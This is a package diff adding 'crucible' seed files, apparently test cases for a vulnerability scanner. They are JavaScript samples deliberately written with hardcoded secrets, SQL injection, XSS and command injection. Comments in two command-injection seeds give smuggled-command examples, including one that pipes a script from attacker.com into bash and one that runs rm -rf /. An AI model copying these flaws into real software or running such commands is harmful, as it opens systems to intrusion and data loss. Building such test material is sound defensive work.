thuban 0.3.4 → 0.4.0

package/dist/packages/crucible/seeds/js/seed-005.js

@@ -0,0 +1,31 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: high
+// language: javascript
+// expected: hardcoded SendGrid API key and SMTP password
+
+const nodemailer = require('nodemailer');
+const sgMail = require('@sendgrid/mail');
+
+const SENDGRID_API_KEY = 'SG.abcDEFghiJKLmnoPQRstUVwxYZ.1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcd';
+sgMail.setApiKey(SENDGRID_API_KEY);
+
+const smtpTransport = nodemailer.createTransport({
+  host: 'smtp.company.com',
+  port: 587,
+  auth: {
+    user: 'noreply@company.com',
+    pass: 'EmailPassw0rd#2024',
+  },
+});
+
+async function sendWelcomeEmail(to, name) {
+  await sgMail.send({
+    to,
+    from: 'noreply@company.com',
+    subject: `Welcome, ${name}!`,
+    text: `Thanks for signing up, ${name}.`,
+  });
+}
+
+module.exports = { sendWelcomeEmail, smtpTransport };

package/dist/packages/crucible/seeds/js/seed-006.js

@@ -0,0 +1,28 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: javascript
+// expected: hardcoded GitHub personal access token
+
+const { Octokit } = require('@octokit/rest');
+
+// Personal access token with repo + admin scopes
+const GITHUB_TOKEN = 'ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890';
+
+const octokit = new Octokit({ auth: GITHUB_TOKEN });
+
+async function listRepos(org) {
+  const { data } = await octokit.repos.listForOrg({ org, per_page: 100 });
+  return data.map(r => r.full_name);
+}
+
+async function createWebhook(owner, repo, url) {
+  return octokit.repos.createWebhook({
+    owner,
+    repo,
+    config: { url, content_type: 'json' },
+    events: ['push', 'pull_request'],
+  });
+}
+
+module.exports = { octokit, listRepos, createWebhook };

package/dist/packages/crucible/seeds/js/seed-007.js

@@ -0,0 +1,26 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: high
+// language: javascript
+// expected: hardcoded encryption key and IV used for AES encryption
+
+const crypto = require('crypto');
+
+const ENCRYPTION_KEY = '12345678901234567890123456789012'; // 32-byte key
+const IV = '1234567890123456'; // 16-byte IV — fixed, never rotated
+
+function encrypt(text) {
+  const cipher = crypto.createCipheriv('aes-256-cbc', ENCRYPTION_KEY, IV);
+  let encrypted = cipher.update(text, 'utf8', 'hex');
+  encrypted += cipher.final('hex');
+  return encrypted;
+}
+
+function decrypt(encryptedText) {
+  const decipher = crypto.createDecipheriv('aes-256-cbc', ENCRYPTION_KEY, IV);
+  let decrypted = decipher.update(encryptedText, 'hex', 'utf8');
+  decrypted += decipher.final('utf8');
+  return decrypted;
+}
+
+module.exports = { encrypt, decrypt };

package/dist/packages/crucible/seeds/js/seed-008.js

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: high
+// language: javascript
+// expected: hardcoded OAuth client secret and admin password
+
+const express = require('express');
+const router = express.Router();
+
+const OAUTH_CLIENT_ID = 'app-client-id-production-abc123';
+const OAUTH_CLIENT_SECRET = 'oauth-client-secret-XyZ9876543210abcdefGHIJKL';
+const ADMIN_PASSWORD = 'AdminP@ssw0rd2024!';
+
+router.post('/oauth/token', async (req, res) => {
+  const { client_id, client_secret, grant_type } = req.body;
+  if (client_id !== OAUTH_CLIENT_ID || client_secret !== OAUTH_CLIENT_SECRET) {
+    return res.status(401).json({ error: 'invalid_client' });
+  }
+  // issue token...
+  res.json({ access_token: 'generated_token', token_type: 'bearer' });
+});
+
+router.post('/admin/login', (req, res) => {
+  if (req.body.password !== ADMIN_PASSWORD) {
+    return res.status(403).json({ error: 'forbidden' });
+  }
+  res.json({ success: true });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-009.js

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection via string concatenation in user query
+
+const mysql = require('mysql2');
+const db = mysql.createConnection({ host: 'localhost', user: 'app', password: 'app', database: 'shop' });
+
+function getProductByName(productName) {
+  const query = "SELECT * FROM products WHERE name = '" + productName + "'";
+  return new Promise((resolve, reject) => {
+    db.query(query, (err, results) => {
+      if (err) return reject(err);
+      resolve(results);
+    });
+  });
+}
+
+function searchProducts(term, category) {
+  const query = `SELECT id, name, price FROM products WHERE name LIKE '%${term}%' AND category = '${category}' ORDER BY created_at DESC`;
+  return new Promise((resolve, reject) => {
+    db.query(query, (err, results) => {
+      if (err) return reject(err);
+      resolve(results);
+    });
+  });
+}
+
+module.exports = { getProductByName, searchProducts };

package/dist/packages/crucible/seeds/js/seed-010.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection via string concatenation in login query
+
+const { Client } = require('pg');
+const client = new Client({ connectionString: process.env.DATABASE_URL });
+
+async function authenticateUser(username, password) {
+  // Direct string interpolation — attacker can bypass auth
+  const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
+  const result = await client.query(query);
+  return result.rows.length > 0 ? result.rows[0] : null;
+}
+
+async function getUserOrders(userId, status) {
+  const sql = "SELECT o.* FROM orders o WHERE o.user_id = " + userId +
+              " AND o.status = '" + status + "' ORDER BY o.created_at DESC";
+  const result = await client.query(sql);
+  return result.rows;
+}
+
+async function deleteUserData(userId) {
+  await client.query("DELETE FROM sessions WHERE user_id = " + userId);
+  await client.query("DELETE FROM tokens WHERE user_id = " + userId);
+}
+
+module.exports = { authenticateUser, getUserOrders, deleteUserData };

package/dist/packages/crucible/seeds/js/seed-011.js

@@ -0,0 +1,34 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection via dynamic ORDER BY and LIMIT clauses
+
+const knex = require('knex')({ client: 'pg', connection: process.env.DATABASE_URL });
+
+async function listUsers(sortField, sortDir, limitCount) {
+  // Dangerous: sortField and sortDir are directly interpolated
+  const rawQuery = `SELECT id, email, name, created_at FROM users ORDER BY ${sortField} ${sortDir} LIMIT ${limitCount}`;
+  const result = await knex.raw(rawQuery);
+  return result.rows;
+}
+
+async function searchByEmail(domain) {
+  const result = await knex.raw(
+    `SELECT * FROM users WHERE email LIKE '%@` + domain + `'`
+  );
+  return result.rows;
+}
+
+async function getReport(fromDate, toDate, groupBy) {
+  const sql = `
+    SELECT ${groupBy}, COUNT(*) as cnt, SUM(amount) as total
+    FROM transactions
+    WHERE created_at BETWEEN '${fromDate}' AND '${toDate}'
+    GROUP BY ${groupBy}
+  `;
+  const result = await knex.raw(sql);
+  return result.rows;
+}
+
+module.exports = { listUsers, searchByEmail, getReport };

package/dist/packages/crucible/seeds/js/seed-012.js

@@ -0,0 +1,32 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection in Express route via query parameter concatenation
+
+const express = require('express');
+const sqlite3 = require('sqlite3').verbose();
+const router = express.Router();
+const db = new sqlite3.Database('./data.db');
+
+router.get('/articles', (req, res) => {
+  const { tag, author } = req.query;
+  let query = 'SELECT * FROM articles WHERE published = 1';
+  if (tag) query += ` AND tag = '${tag}'`;
+  if (author) query += ` AND author = '${author}'`;
+  db.all(query, [], (err, rows) => {
+    if (err) return res.status(500).json({ error: err.message });
+    res.json(rows);
+  });
+});
+
+router.get('/articles/:id', (req, res) => {
+  const query = 'SELECT * FROM articles WHERE id = ' + req.params.id;
+  db.get(query, [], (err, row) => {
+    if (err) return res.status(500).json({ error: err.message });
+    if (!row) return res.status(404).json({ error: 'Not found' });
+    res.json(row);
+  });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-013.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: high
+// language: javascript
+// expected: SQL injection via string format in stored procedure call
+
+const mssql = require('mssql');
+
+const config = {
+  server: process.env.DB_HOST,
+  database: process.env.DB_NAME,
+  authentication: { type: 'default', options: { userName: process.env.DB_USER, password: process.env.DB_PASS } },
+};
+
+async function findEmployee(lastName, department) {
+  const pool = await mssql.connect(config);
+  // Vulnerable: lastName and department inserted directly
+  const query = `EXEC sp_GetEmployee @LastName='${lastName}', @Department='${department}'`;
+  const result = await pool.request().query(query);
+  return result.recordset;
+}
+
+async function updateSalary(employeeId, amount) {
+  const pool = await mssql.connect(config);
+  const sql = "UPDATE employees SET salary = " + amount + " WHERE id = " + employeeId;
+  await pool.request().query(sql);
+}
+
+module.exports = { findEmployee, updateSalary };

package/dist/packages/crucible/seeds/js/seed-014.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection via Sequelize literal() with user input
+
+const { sequelize, User } = require('../models');
+const { QueryTypes } = require('sequelize');
+
+async function searchUsers(searchTerm) {
+  // Using literal() bypasses parameterization
+  const results = await sequelize.query(
+    `SELECT * FROM "Users" WHERE name ILIKE '%${searchTerm}%' OR email ILIKE '%${searchTerm}%'`,
+    { type: QueryTypes.SELECT }
+  );
+  return results;
+}
+
+async function getUsersByRole(role, tenantId) {
+  const sql = `
+    SELECT u.*, r.name as role_name
+    FROM "Users" u
+    JOIN "Roles" r ON u.role_id = r.id
+    WHERE r.name = '` + role + `'
+    AND u.tenant_id = ` + tenantId;
+  return sequelize.query(sql, { type: QueryTypes.SELECT });
+}
+
+module.exports = { searchUsers, getUsersByRole };

package/dist/packages/crucible/seeds/js/seed-015.js

@@ -0,0 +1,31 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: javascript
+// expected: SQL injection via bulk IN clause construction with user-supplied IDs
+
+const { Pool } = require('pg');
+const pool = new Pool({ connectionString: process.env.DATABASE_URL });
+
+async function getItemsByIds(ids) {
+  // ids is a user-supplied array — never sanitized
+  const idList = ids.join(',');
+  const query = `SELECT * FROM items WHERE id IN (${idList})`;
+  const { rows } = await pool.query(query);
+  return rows;
+}
+
+async function archiveItems(itemIds, archiveReason) {
+  const idList = itemIds.join(', ');
+  const sql = `UPDATE items SET archived = true, archive_reason = '${archiveReason}' WHERE id IN (${idList})`;
+  await pool.query(sql);
+}
+
+async function getProductStats(category, fromDate) {
+  const query = "SELECT COUNT(*), AVG(price) FROM products WHERE category='" +
+    category + "' AND created_at > '" + fromDate + "'";
+  const { rows } = await pool.query(query);
+  return rows[0];
+}
+
+module.exports = { getItemsByIds, archiveItems, getProductStats };

package/dist/packages/crucible/seeds/js/seed-016.js

@@ -0,0 +1,31 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: high
+// language: javascript
+// expected: XSS via innerHTML assignment with unsanitized user input
+
+function renderUserProfile(userData) {
+  const container = document.getElementById('profile-container');
+  // Direct assignment of user-controlled data to innerHTML
+  container.innerHTML = `
+    <div class="profile">
+      <h2>${userData.displayName}</h2>
+      <p class="bio">${userData.bio}</p>
+      <a href="${userData.website}">Visit Website</a>
+    </div>
+  `;
+}
+
+function showSearchResults(query, results) {
+  const resultsDiv = document.getElementById('results');
+  resultsDiv.innerHTML = `<p>Results for: <b>${query}</b></p>`;
+  results.forEach(item => {
+    resultsDiv.innerHTML += `<div class="item"><h3>${item.title}</h3><p>${item.description}</p></div>`;
+  });
+}
+
+function displayNotification(message) {
+  document.getElementById('notification').innerHTML = message;
+}
+
+module.exports = { renderUserProfile, showSearchResults, displayNotification };

package/dist/packages/crucible/seeds/js/seed-017.js

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: critical
+// language: javascript
+// expected: XSS via document.write with URL parameter
+
+function loadPage() {
+  const params = new URLSearchParams(window.location.search);
+  const name = params.get('name');
+  const ref = params.get('ref');
+
+  // Writes unescaped URL params directly into the document
+  document.write('<h1>Hello, ' + name + '!</h1>');
+  document.write('<p>You came from: ' + ref + '</p>');
+}
+
+function renderError(errorMsg) {
+  // errorMsg may come from server reflecting user input
+  document.write(`<div class="error">${errorMsg}</div>`);
+}
+
+function initPage() {
+  const hash = decodeURIComponent(window.location.hash.substring(1));
+  document.getElementById('content').innerHTML = hash;
+}
+
+window.addEventListener('DOMContentLoaded', () => {
+  loadPage();
+  initPage();
+});

package/dist/packages/crucible/seeds/js/seed-018.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: high
+// language: javascript
+// expected: XSS via jQuery .html() with user-controlled data
+
+const $ = require('jquery');
+
+function renderComments(comments) {
+  const container = $('#comments-section');
+  container.empty();
+  comments.forEach(comment => {
+    // .html() interprets the string as HTML — XSS if comment.body contains script tags
+    container.append($('<div>').html(comment.body));
+    container.append($('<small>').html('— ' + comment.authorName));
+  });
+}
+
+function updateUserCard(user) {
+  $('#user-name').html(user.name);
+  $('#user-title').html(user.jobTitle);
+  $('#user-about').html(user.aboutMe);
+}
+
+function showToast(message) {
+  $('#toast').html(message).fadeIn().delay(3000).fadeOut();
+}
+
+module.exports = { renderComments, updateUserCard, showToast };

package/dist/packages/crucible/seeds/js/seed-019.js

@@ -0,0 +1,32 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: high
+// language: javascript
+// expected: XSS via server-side template rendering with unsanitized variable
+
+const express = require('express');
+const router = express.Router();
+
+router.get('/search', (req, res) => {
+  const query = req.query.q || '';
+  // Directly embedding user input into HTML response without encoding
+  res.send(`
+    <!DOCTYPE html>
+    <html>
+      <head><title>Search</title></head>
+      <body>
+        <h1>Search Results</h1>
+        <p>Showing results for: <b>${query}</b></p>
+        <div id="results"></div>
+        <script>
+          const searchTerm = "${query}";
+          fetch('/api/search?q=' + searchTerm)
+            .then(r => r.json())
+            .then(data => document.getElementById('results').innerHTML = data.html);
+        </script>
+      </body>
+    </html>
+  `);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-020.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: medium
+// language: javascript
+// expected: XSS via eval of user-controlled JSON embedded in script tag
+
+const express = require('express');
+const router = express.Router();
+
+router.get('/dashboard', (req, res) => {
+  const userConfig = req.query.config || '{}';
+  const userName = req.query.name || 'Guest';
+
+  // userConfig is injected directly into a script block
+  res.send(`
+    <html>
+      <body>
+        <h1>Welcome, ${userName}</h1>
+        <script>
+          var config = ${userConfig};
+          var username = "${userName}";
+          initDashboard(config, username);
+        </script>
+      </body>
+    </html>
+  `);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-021.js

@@ -0,0 +1,31 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: high
+// language: javascript
+// expected: XSS via postMessage handler writing to DOM without validation
+
+window.addEventListener('message', (event) => {
+  // Missing origin check and no sanitization
+  const data = event.data;
+
+  if (data.type === 'updateContent') {
+    document.getElementById('dynamic-content').innerHTML = data.html;
+  }
+
+  if (data.type === 'showAlert') {
+    document.getElementById('alert-box').innerHTML = `
+      <div class="alert alert-${data.level}">${data.message}</div>
+    `;
+  }
+
+  if (data.type === 'renderTemplate') {
+    const container = document.querySelector(data.selector);
+    if (container) {
+      container.outerHTML = data.template;
+    }
+  }
+});
+
+function sendResponse(targetWindow, payload) {
+  targetWindow.postMessage(payload, '*'); // Wildcard origin
+}

package/dist/packages/crucible/seeds/js/seed-022.js

@@ -0,0 +1,31 @@
+// [CRUCIBLE-SEED]
+// category: xss
+// severity: high
+// language: javascript
+// expected: XSS via Handlebars triple-stache {{{ }}} unescaped output
+
+const Handlebars = require('handlebars');
+const express = require('express');
+const router = express.Router();
+
+const profileTemplate = Handlebars.compile(`
+  <div class="user-profile">
+    <h2>{{{user.displayName}}}</h2>
+    <div class="bio">{{{user.bio}}}</div>
+    <div class="links">{{{user.socialLinks}}}</div>
+  </div>
+`);
+
+const commentTemplate = Handlebars.compile(`
+  <article class="comment">
+    <header>{{{comment.authorHtml}}}</header>
+    <section>{{{comment.body}}}</section>
+  </article>
+`);
+
+router.get('/profile/:id', async (req, res) => {
+  const user = await getUserById(req.params.id);
+  res.send(profileTemplate({ user }));
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-023.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via exec() with unsanitized user input
+
+const { exec } = require('child_process');
+const express = require('express');
+const router = express.Router();
+
+router.get('/ping', (req, res) => {
+  const host = req.query.host;
+  // Attacker can pass: "8.8.8.8; cat /etc/passwd"
+  exec(`ping -c 4 ${host}`, (err, stdout, stderr) => {
+    if (err) return res.status(500).send(stderr);
+    res.send(`<pre>${stdout}</pre>`);
+  });
+});
+
+router.post('/convert', (req, res) => {
+  const { inputFile, outputFormat } = req.body;
+  // e.g. inputFile = "file.pdf; rm -rf /"
+  exec(`convert ${inputFile} output.${outputFormat}`, (err, stdout) => {
+    if (err) return res.status(500).json({ error: err.message });
+    res.json({ success: true, output: stdout });
+  });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-024.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via execSync with template literal
+
+const { execSync } = require('child_process');
+
+function generateThumbnail(imagePath, width, height) {
+  // imagePath could be: "photo.jpg; curl attacker.com/shell.sh | bash"
+  const cmd = `ffmpeg -i ${imagePath} -vf scale=${width}:${height} thumb_${imagePath}`;
+  const output = execSync(cmd, { encoding: 'utf8' });
+  return output;
+}
+
+function compressLogs(logDir, archiveName) {
+  const result = execSync(`tar -czf ${archiveName}.tar.gz ${logDir}`);
+  return result;
+}
+
+function runGitCommand(repoPath, branch) {
+  const output = execSync(`cd ${repoPath} && git checkout ${branch} && git pull`, {
+    encoding: 'utf8',
+    timeout: 30000,
+  });
+  return output;
+}
+
+module.exports = { generateThumbnail, compressLogs, runGitCommand };

package/dist/packages/crucible/seeds/js/seed-025.js

@@ -0,0 +1,34 @@
+// [CRUCIBLE-SEED]
+// category: command_injection
+// severity: critical
+// language: javascript
+// expected: command injection via spawn shell:true with user input
+
+const { spawn } = require('child_process');
+
+function runUserScript(scriptName, args) {
+  // shell: true causes the full string to be passed to /bin/sh
+  const proc = spawn(`node scripts/${scriptName} ${args.join(' ')}`, {
+    shell: true,
+    cwd: process.cwd(),
+  });
+
+  return new Promise((resolve, reject) => {
+    let output = '';
+    proc.stdout.on('data', d => (output += d));
+    proc.stderr.on('data', d => (output += d));
+    proc.on('close', code => (code === 0 ? resolve(output) : reject(new Error(output))));
+  });
+}
+
+function lintFile(filePath) {
+  const proc = spawn(`eslint ${filePath} --format json`, { shell: true });
+  return new Promise((resolve, reject) => {
+    let out = '';
+    proc.stdout.on('data', d => (out += d));
+    proc.on('close', () => resolve(JSON.parse(out)));
+    proc.on('error', reject);
+  });
+}
+
+module.exports = { runUserScript, lintFile };